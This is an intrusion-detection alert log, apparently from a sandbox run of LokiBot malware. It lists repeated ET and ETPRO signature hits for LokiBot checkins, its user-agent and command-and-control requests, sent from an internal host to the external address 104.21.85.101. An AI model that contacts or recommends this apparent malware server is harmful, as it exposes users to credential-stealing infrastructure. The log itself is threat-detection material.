05/27/24-02:58:52.872776	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49835	80	192.168.2.5	104.21.85.101
05/27/24-02:58:29.323327	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49812	80	192.168.2.5	104.21.85.101
05/27/24-02:57:49.900695	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49770	80	192.168.2.5	104.21.85.101
05/27/24-02:58:46.007126	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49829	80	192.168.2.5	104.21.85.101
05/27/24-02:57:11.985959	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49730	80	192.168.2.5	104.21.85.101
05/27/24-02:57:50.878814	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49771	80	192.168.2.5	104.21.85.101
05/27/24-02:58:46.007126	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49829	80	192.168.2.5	104.21.85.101
05/27/24-02:57:10.970619	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49728	80	192.168.2.5	104.21.85.101
05/27/24-02:57:49.900695	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49770	80	192.168.2.5	104.21.85.101
05/27/24-02:57:48.941539	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49769	80	192.168.2.5	104.21.85.101
05/27/24-02:58:06.518525	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49788	80	192.168.2.5	104.21.85.101
05/27/24-02:58:12.860512	TCP	2025381	ET TROJAN LokiBot Checkin	49795	80	192.168.2.5	104.21.85.101
05/27/24-02:57:20.475127	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49740	80	192.168.2.5	104.21.85.101
05/27/24-02:57:59.993911	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49781	80	192.168.2.5	104.21.85.101
05/27/24-02:57:02.427081	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49715	80	192.168.2.5	104.21.85.101
05/27/24-02:57:46.289681	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49765	80	192.168.2.5	104.21.85.101
05/27/24-02:58:30.172586	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49813	80	192.168.2.5	104.21.85.101
05/27/24-02:57:09.229387	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49724	80	192.168.2.5	104.21.85.101
05/27/24-02:57:47.148785	TCP	2025381	ET TROJAN LokiBot Checkin	49766	80	192.168.2.5	104.21.85.101
05/27/24-02:58:01.718197	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49783	80	192.168.2.5	104.21.85.101
05/27/24-02:58:01.718197	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49783	80	192.168.2.5	104.21.85.101
05/27/24-02:57:23.648663	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49743	80	192.168.2.5	104.21.85.101
05/27/24-02:57:36.373420	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49756	80	192.168.2.5	104.21.85.101
05/27/24-02:58:41.567295	TCP	2025381	ET TROJAN LokiBot Checkin	49824	80	192.168.2.5	104.21.85.101
05/27/24-02:58:00.847332	TCP	2025381	ET TROJAN LokiBot Checkin	49782	80	192.168.2.5	104.21.85.101
05/27/24-02:57:35.556016	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49755	80	192.168.2.5	104.21.85.101
05/27/24-02:58:43.411668	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49826	80	192.168.2.5	104.21.85.101
05/27/24-02:57:01.572690	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49714	80	192.168.2.5	104.21.85.101
05/27/24-02:57:18.824360	TCP	2025381	ET TROJAN LokiBot Checkin	49738	80	192.168.2.5	104.21.85.101
05/27/24-02:57:57.446786	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49778	80	192.168.2.5	104.21.85.101
05/27/24-02:57:35.556016	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49755	80	192.168.2.5	104.21.85.101
05/27/24-02:58:02.822734	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49784	80	192.168.2.5	104.21.85.101
05/27/24-02:57:58.296639	TCP	2025381	ET TROJAN LokiBot Checkin	49779	80	192.168.2.5	104.21.85.101
05/27/24-02:57:01.572690	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49714	80	192.168.2.5	104.21.85.101
05/27/24-02:58:13.812339	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49796	80	192.168.2.5	104.21.85.101
05/27/24-02:58:13.812339	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49796	80	192.168.2.5	104.21.85.101
05/27/24-02:57:17.983497	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49737	80	192.168.2.5	104.21.85.101
05/27/24-02:58:15.663990	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49797	80	192.168.2.5	104.21.85.101
05/27/24-02:58:43.411668	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49826	80	192.168.2.5	104.21.85.101
05/27/24-02:57:36.373420	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49756	80	192.168.2.5	104.21.85.101
05/27/24-02:58:28.412600	TCP	2025381	ET TROJAN LokiBot Checkin	49811	80	192.168.2.5	104.21.85.101
05/27/24-02:58:01.718197	TCP	2025381	ET TROJAN LokiBot Checkin	49783	80	192.168.2.5	104.21.85.101
05/27/24-02:58:51.977503	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49834	80	192.168.2.5	104.21.85.101
05/27/24-02:58:15.663990	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49797	80	192.168.2.5	104.21.85.101
05/27/24-02:57:14.514493	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49733	80	192.168.2.5	104.21.85.101
05/27/24-02:57:28.354051	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49747	80	192.168.2.5	104.21.85.101
05/27/24-02:58:38.132174	TCP	2025381	ET TROJAN LokiBot Checkin	49820	80	192.168.2.5	104.21.85.101
05/27/24-02:58:45.171221	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49828	80	192.168.2.5	104.21.85.101
05/27/24-02:58:15.663990	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49797	80	192.168.2.5	104.21.85.101
05/27/24-02:57:17.983497	TCP	2025381	ET TROJAN LokiBot Checkin	49737	80	192.168.2.5	104.21.85.101
05/27/24-02:58:47.000038	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49830	80	192.168.2.5	104.21.85.101
05/27/24-02:57:31.965000	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49751	80	192.168.2.5	104.21.85.101
05/27/24-02:57:07.503626	TCP	2025381	ET TROJAN LokiBot Checkin	49719	80	192.168.2.5	104.21.85.101
05/27/24-02:58:51.977503	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49834	80	192.168.2.5	104.21.85.101
05/27/24-02:57:05.187815	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49718	80	192.168.2.5	104.21.85.101
05/27/24-02:57:58.296639	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49779	80	192.168.2.5	104.21.85.101
05/27/24-02:58:20.087463	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49802	80	192.168.2.5	104.21.85.101
05/27/24-02:57:35.556016	TCP	2025381	ET TROJAN LokiBot Checkin	49755	80	192.168.2.5	104.21.85.101
05/27/24-02:57:05.187815	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49718	80	192.168.2.5	104.21.85.101
05/27/24-02:58:19.144546	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49801	80	192.168.2.5	104.21.85.101
05/27/24-02:58:19.144546	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49801	80	192.168.2.5	104.21.85.101
05/27/24-02:57:07.503626	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49719	80	192.168.2.5	104.21.85.101
05/27/24-02:57:54.770134	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49775	80	192.168.2.5	104.21.85.101
05/27/24-02:57:58.296639	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49779	80	192.168.2.5	104.21.85.101
05/27/24-02:58:05.571891	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49787	80	192.168.2.5	104.21.85.101
05/27/24-02:58:36.335492	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49818	80	192.168.2.5	104.21.85.101
05/27/24-02:58:38.132174	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49820	80	192.168.2.5	104.21.85.101
05/27/24-02:57:27.314357	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49746	80	192.168.2.5	104.21.85.101
05/27/24-02:58:05.571891	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49787	80	192.168.2.5	104.21.85.101
05/27/24-02:58:41.567295	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49824	80	192.168.2.5	104.21.85.101
05/27/24-02:58:41.567295	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49824	80	192.168.2.5	104.21.85.101
05/27/24-02:58:52.872776	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49835	80	192.168.2.5	104.21.85.101
05/27/24-02:57:27.314357	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49746	80	192.168.2.5	104.21.85.101
05/27/24-02:58:23.686553	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49806	80	192.168.2.5	104.21.85.101
05/27/24-02:56:53.233272	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49705	80	192.168.2.5	104.21.85.101
05/27/24-02:58:06.518525	TCP	2025381	ET TROJAN LokiBot Checkin	49788	80	192.168.2.5	104.21.85.101
05/27/24-02:57:28.354051	TCP	2025381	ET TROJAN LokiBot Checkin	49747	80	192.168.2.5	104.21.85.101
05/27/24-02:58:23.686553	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49806	80	192.168.2.5	104.21.85.101
05/27/24-02:58:29.323327	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49812	80	192.168.2.5	104.21.85.101
05/27/24-02:58:40.730674	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49823	80	192.168.2.5	104.21.85.101
05/27/24-02:57:10.970619	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49728	80	192.168.2.5	104.21.85.101
05/27/24-02:57:46.289681	TCP	2025381	ET TROJAN LokiBot Checkin	49765	80	192.168.2.5	104.21.85.101
05/27/24-02:57:10.970619	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49728	80	192.168.2.5	104.21.85.101
05/27/24-02:57:48.941539	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49769	80	192.168.2.5	104.21.85.101
05/27/24-02:57:48.941539	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49769	80	192.168.2.5	104.21.85.101
05/27/24-02:57:39.944131	TCP	2025381	ET TROJAN LokiBot Checkin	49760	80	192.168.2.5	104.21.85.101
05/27/24-02:58:22.782486	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49805	80	192.168.2.5	104.21.85.101
05/27/24-02:57:39.029387	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49759	80	192.168.2.5	104.21.85.101
05/27/24-02:57:22.168783	TCP	2025381	ET TROJAN LokiBot Checkin	49742	80	192.168.2.5	104.21.85.101
05/27/24-02:57:39.029387	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49759	80	192.168.2.5	104.21.85.101
05/27/24-02:57:53.803473	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49774	80	192.168.2.5	104.21.85.101
05/27/24-02:58:42.432686	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49825	80	192.168.2.5	104.21.85.101
05/27/24-02:57:04.194340	TCP	2025381	ET TROJAN LokiBot Checkin	49717	80	192.168.2.5	104.21.85.101
05/27/24-02:57:57.446786	TCP	2025381	ET TROJAN LokiBot Checkin	49778	80	192.168.2.5	104.21.85.101
05/27/24-02:58:51.174321	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49833	80	192.168.2.5	104.21.85.101
05/27/24-02:57:36.373420	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49756	80	192.168.2.5	104.21.85.101
05/27/24-02:58:16.532869	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49798	80	192.168.2.5	104.21.85.101
05/27/24-02:58:26.338973	TCP	2025381	ET TROJAN LokiBot Checkin	49809	80	192.168.2.5	104.21.85.101
05/27/24-02:57:13.622626	TCP	2025381	ET TROJAN LokiBot Checkin	49732	80	192.168.2.5	104.21.85.101
05/27/24-02:57:36.373420	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49756	80	192.168.2.5	104.21.85.101
05/27/24-02:57:37.342738	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49757	80	192.168.2.5	104.21.85.101
05/27/24-02:57:52.944507	TCP	2025381	ET TROJAN LokiBot Checkin	49773	80	192.168.2.5	104.21.85.101
05/27/24-02:58:53.747051	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49836	80	192.168.2.5	104.21.85.101
05/27/24-02:58:02.822734	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49784	80	192.168.2.5	104.21.85.101
05/27/24-02:56:56.824671	TCP	2025381	ET TROJAN LokiBot Checkin	49709	80	192.168.2.5	104.21.85.101
05/27/24-02:58:27.314091	TCP	2025381	ET TROJAN LokiBot Checkin	49810	80	192.168.2.5	104.21.85.101
05/27/24-02:57:49.900695	TCP	2025381	ET TROJAN LokiBot Checkin	49770	80	192.168.2.5	104.21.85.101
05/27/24-02:58:38.993699	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49821	80	192.168.2.5	104.21.85.101
05/27/24-02:57:41.138153	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49761	80	192.168.2.5	104.21.85.101
05/27/24-02:57:30.108861	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49749	80	192.168.2.5	104.21.85.101
05/27/24-02:58:38.993699	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49821	80	192.168.2.5	104.21.85.101
05/27/24-02:57:54.770134	TCP	2025381	ET TROJAN LokiBot Checkin	49775	80	192.168.2.5	104.21.85.101
05/27/24-02:57:29.208414	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49748	80	192.168.2.5	104.21.85.101
05/27/24-02:58:39.855398	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49822	80	192.168.2.5	104.21.85.101
05/27/24-02:58:07.399031	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49789	80	192.168.2.5	104.21.85.101
05/27/24-02:58:03.699908	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49785	80	192.168.2.5	104.21.85.101
05/27/24-02:58:48.820321	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49832	80	192.168.2.5	104.21.85.101
05/27/24-02:57:29.208414	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49748	80	192.168.2.5	104.21.85.101
05/27/24-02:57:12.795525	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49731	80	192.168.2.5	104.21.85.101
05/27/24-02:58:07.399031	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49789	80	192.168.2.5	104.21.85.101
05/27/24-02:58:48.820321	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49832	80	192.168.2.5	104.21.85.101
05/27/24-02:56:52.319655	TCP	2025381	ET TROJAN LokiBot Checkin	49704	80	192.168.2.5	104.21.85.101
05/27/24-02:58:02.822734	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49784	80	192.168.2.5	104.21.85.101
05/27/24-02:58:25.471357	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49808	80	192.168.2.5	104.21.85.101
05/27/24-02:57:26.436407	TCP	2025381	ET TROJAN LokiBot Checkin	49745	80	192.168.2.5	104.21.85.101
05/27/24-02:57:17.171322	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49736	80	192.168.2.5	104.21.85.101
05/27/24-02:57:59.127367	TCP	2025381	ET TROJAN LokiBot Checkin	49780	80	192.168.2.5	104.21.85.101
05/27/24-02:58:11.776104	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49794	80	192.168.2.5	104.21.85.101
05/27/24-02:58:46.007126	TCP	2025381	ET TROJAN LokiBot Checkin	49829	80	192.168.2.5	104.21.85.101
05/27/24-02:58:42.432686	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49825	80	192.168.2.5	104.21.85.101
05/27/24-02:58:21.838596	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49804	80	192.168.2.5	104.21.85.101
05/27/24-02:57:02.427081	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49715	80	192.168.2.5	104.21.85.101
05/27/24-02:57:42.867143	TCP	2025381	ET TROJAN LokiBot Checkin	49762	80	192.168.2.5	104.21.85.101
05/27/24-02:58:22.782486	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49805	80	192.168.2.5	104.21.85.101
05/27/24-02:57:55.635319	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49776	80	192.168.2.5	104.21.85.101
05/27/24-02:57:55.635319	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49776	80	192.168.2.5	104.21.85.101
05/27/24-02:58:00.847332	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49782	80	192.168.2.5	104.21.85.101
05/27/24-02:57:03.327854	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49716	80	192.168.2.5	104.21.85.101
05/27/24-02:58:21.838596	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49804	80	192.168.2.5	104.21.85.101
05/27/24-02:57:02.427081	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49715	80	192.168.2.5	104.21.85.101
05/27/24-02:58:11.776104	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49794	80	192.168.2.5	104.21.85.101
05/27/24-02:57:38.199508	TCP	2025381	ET TROJAN LokiBot Checkin	49758	80	192.168.2.5	104.21.85.101
05/27/24-02:58:13.812339	TCP	2025381	ET TROJAN LokiBot Checkin	49796	80	192.168.2.5	104.21.85.101
05/27/24-02:57:34.740166	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49754	80	192.168.2.5	104.21.85.101
05/27/24-02:58:12.860512	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49795	80	192.168.2.5	104.21.85.101
05/27/24-02:57:44.712946	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49764	80	192.168.2.5	104.21.85.101
05/27/24-02:57:56.483967	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49777	80	192.168.2.5	104.21.85.101
05/27/24-02:58:08.266294	TCP	2025381	ET TROJAN LokiBot Checkin	49790	80	192.168.2.5	104.21.85.101
05/27/24-02:57:09.229387	TCP	2025381	ET TROJAN LokiBot Checkin	49724	80	192.168.2.5	104.21.85.101
05/27/24-02:58:10.081251	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49792	80	192.168.2.5	104.21.85.101
05/27/24-02:58:30.172586	TCP	2025381	ET TROJAN LokiBot Checkin	49813	80	192.168.2.5	104.21.85.101
05/27/24-02:58:47.923427	TCP	2025381	ET TROJAN LokiBot Checkin	49831	80	192.168.2.5	104.21.85.101
05/27/24-02:58:37.210299	TCP	2025381	ET TROJAN LokiBot Checkin	49819	80	192.168.2.5	104.21.85.101
05/27/24-02:58:16.532869	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49798	80	192.168.2.5	104.21.85.101
05/27/24-02:58:20.087463	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49802	80	192.168.2.5	104.21.85.101
05/27/24-02:57:00.615870	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49713	80	192.168.2.5	104.21.85.101
05/27/24-02:57:48.003346	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49767	80	192.168.2.5	104.21.85.101
05/27/24-02:58:28.412600	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49811	80	192.168.2.5	104.21.85.101
05/27/24-02:57:44.712946	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49764	80	192.168.2.5	104.21.85.101
05/27/24-02:57:31.110921	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49750	80	192.168.2.5	104.21.85.101
05/27/24-02:58:28.412600	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49811	80	192.168.2.5	104.21.85.101
05/27/24-02:56:57.681674	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49710	80	192.168.2.5	104.21.85.101
05/27/24-02:56:58.817936	TCP	2025381	ET TROJAN LokiBot Checkin	49711	80	192.168.2.5	104.21.85.101
05/27/24-02:58:18.265929	TCP	2025381	ET TROJAN LokiBot Checkin	49800	80	192.168.2.5	104.21.85.101
05/27/24-02:57:19.638609	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49739	80	192.168.2.5	104.21.85.101
05/27/24-02:57:21.327353	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49741	80	192.168.2.5	104.21.85.101
05/27/24-02:57:18.824360	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49738	80	192.168.2.5	104.21.85.101
05/27/24-02:58:47.000038	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49830	80	192.168.2.5	104.21.85.101
05/27/24-02:57:31.110921	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49750	80	192.168.2.5	104.21.85.101
05/27/24-02:58:21.007407	TCP	2025381	ET TROJAN LokiBot Checkin	49803	80	192.168.2.5	104.21.85.101
05/27/24-02:58:45.171221	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49828	80	192.168.2.5	104.21.85.101
05/27/24-02:57:01.572690	TCP	2025381	ET TROJAN LokiBot Checkin	49714	80	192.168.2.5	104.21.85.101
05/27/24-02:57:18.824360	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49738	80	192.168.2.5	104.21.85.101
05/27/24-02:58:44.306693	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49827	80	192.168.2.5	104.21.85.101
05/27/24-02:57:33.866649	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49753	80	192.168.2.5	104.21.85.101
05/27/24-02:58:44.306693	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49827	80	192.168.2.5	104.21.85.101
05/27/24-02:57:33.866649	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49753	80	192.168.2.5	104.21.85.101
05/27/24-02:58:33.709940	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49815	80	192.168.2.5	104.21.85.101
05/27/24-02:57:10.108178	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49726	80	192.168.2.5	104.21.85.101
05/27/24-02:58:34.603701	TCP	2025381	ET TROJAN LokiBot Checkin	49816	80	192.168.2.5	104.21.85.101
05/27/24-02:57:31.965000	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49751	80	192.168.2.5	104.21.85.101
05/27/24-02:58:10.936240	TCP	2025381	ET TROJAN LokiBot Checkin	49793	80	192.168.2.5	104.21.85.101
05/27/24-02:57:32.850963	TCP	2025381	ET TROJAN LokiBot Checkin	49752	80	192.168.2.5	104.21.85.101
05/27/24-02:58:10.081251	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49792	80	192.168.2.5	104.21.85.101
05/27/24-02:56:57.681674	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49710	80	192.168.2.5	104.21.85.101
05/27/24-02:58:33.709940	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49815	80	192.168.2.5	104.21.85.101
05/27/24-02:58:12.860512	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49795	80	192.168.2.5	104.21.85.101
05/27/24-02:58:31.013040	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49814	80	192.168.2.5	104.21.85.101
05/27/24-02:57:10.108178	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49726	80	192.168.2.5	104.21.85.101
05/27/24-02:57:34.740166	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49754	80	192.168.2.5	104.21.85.101
05/27/24-02:58:31.013040	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49814	80	192.168.2.5	104.21.85.101
05/27/24-02:57:47.148785	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49766	80	192.168.2.5	104.21.85.101
05/27/24-02:57:47.148785	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49766	80	192.168.2.5	104.21.85.101
05/27/24-02:57:19.638609	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49739	80	192.168.2.5	104.21.85.101
05/27/24-02:57:21.327353	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49741	80	192.168.2.5	104.21.85.101
05/27/24-02:58:07.399031	TCP	2025381	ET TROJAN LokiBot Checkin	49789	80	192.168.2.5	104.21.85.101
05/27/24-02:57:26.436407	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49745	80	192.168.2.5	104.21.85.101
05/27/24-02:58:17.383670	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49799	80	192.168.2.5	104.21.85.101
05/27/24-02:58:43.411668	TCP	2025381	ET TROJAN LokiBot Checkin	49826	80	192.168.2.5	104.21.85.101
05/27/24-02:57:10.970619	TCP	2025381	ET TROJAN LokiBot Checkin	49728	80	192.168.2.5	104.21.85.101
05/27/24-02:57:22.168783	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49742	80	192.168.2.5	104.21.85.101
05/27/24-02:57:26.436407	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49745	80	192.168.2.5	104.21.85.101
05/27/24-02:57:52.944507	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49773	80	192.168.2.5	104.21.85.101
05/27/24-02:58:24.574893	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49807	80	192.168.2.5	104.21.85.101
05/27/24-02:56:56.824671	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49709	80	192.168.2.5	104.21.85.101
05/27/24-02:57:52.944507	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49773	80	192.168.2.5	104.21.85.101
05/27/24-02:58:21.838596	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49804	80	192.168.2.5	104.21.85.101
05/27/24-02:56:59.664329	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49712	80	192.168.2.5	104.21.85.101
05/27/24-02:58:24.574893	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49807	80	192.168.2.5	104.21.85.101
05/27/24-02:57:00.615870	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49713	80	192.168.2.5	104.21.85.101
05/27/24-02:57:48.003346	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49767	80	192.168.2.5	104.21.85.101
05/27/24-02:58:26.338973	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49809	80	192.168.2.5	104.21.85.101
05/27/24-02:58:27.314091	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49810	80	192.168.2.5	104.21.85.101
05/27/24-02:56:54.048379	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49706	80	192.168.2.5	104.21.85.101
05/27/24-02:57:47.148785	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49766	80	192.168.2.5	104.21.85.101
05/27/24-02:58:25.471357	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49808	80	192.168.2.5	104.21.85.101
05/27/24-02:56:59.664329	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49712	80	192.168.2.5	104.21.85.101
05/27/24-02:58:27.314091	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49810	80	192.168.2.5	104.21.85.101
05/27/24-02:58:19.144546	TCP	2025381	ET TROJAN LokiBot Checkin	49801	80	192.168.2.5	104.21.85.101
05/27/24-02:57:59.993911	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49781	80	192.168.2.5	104.21.85.101
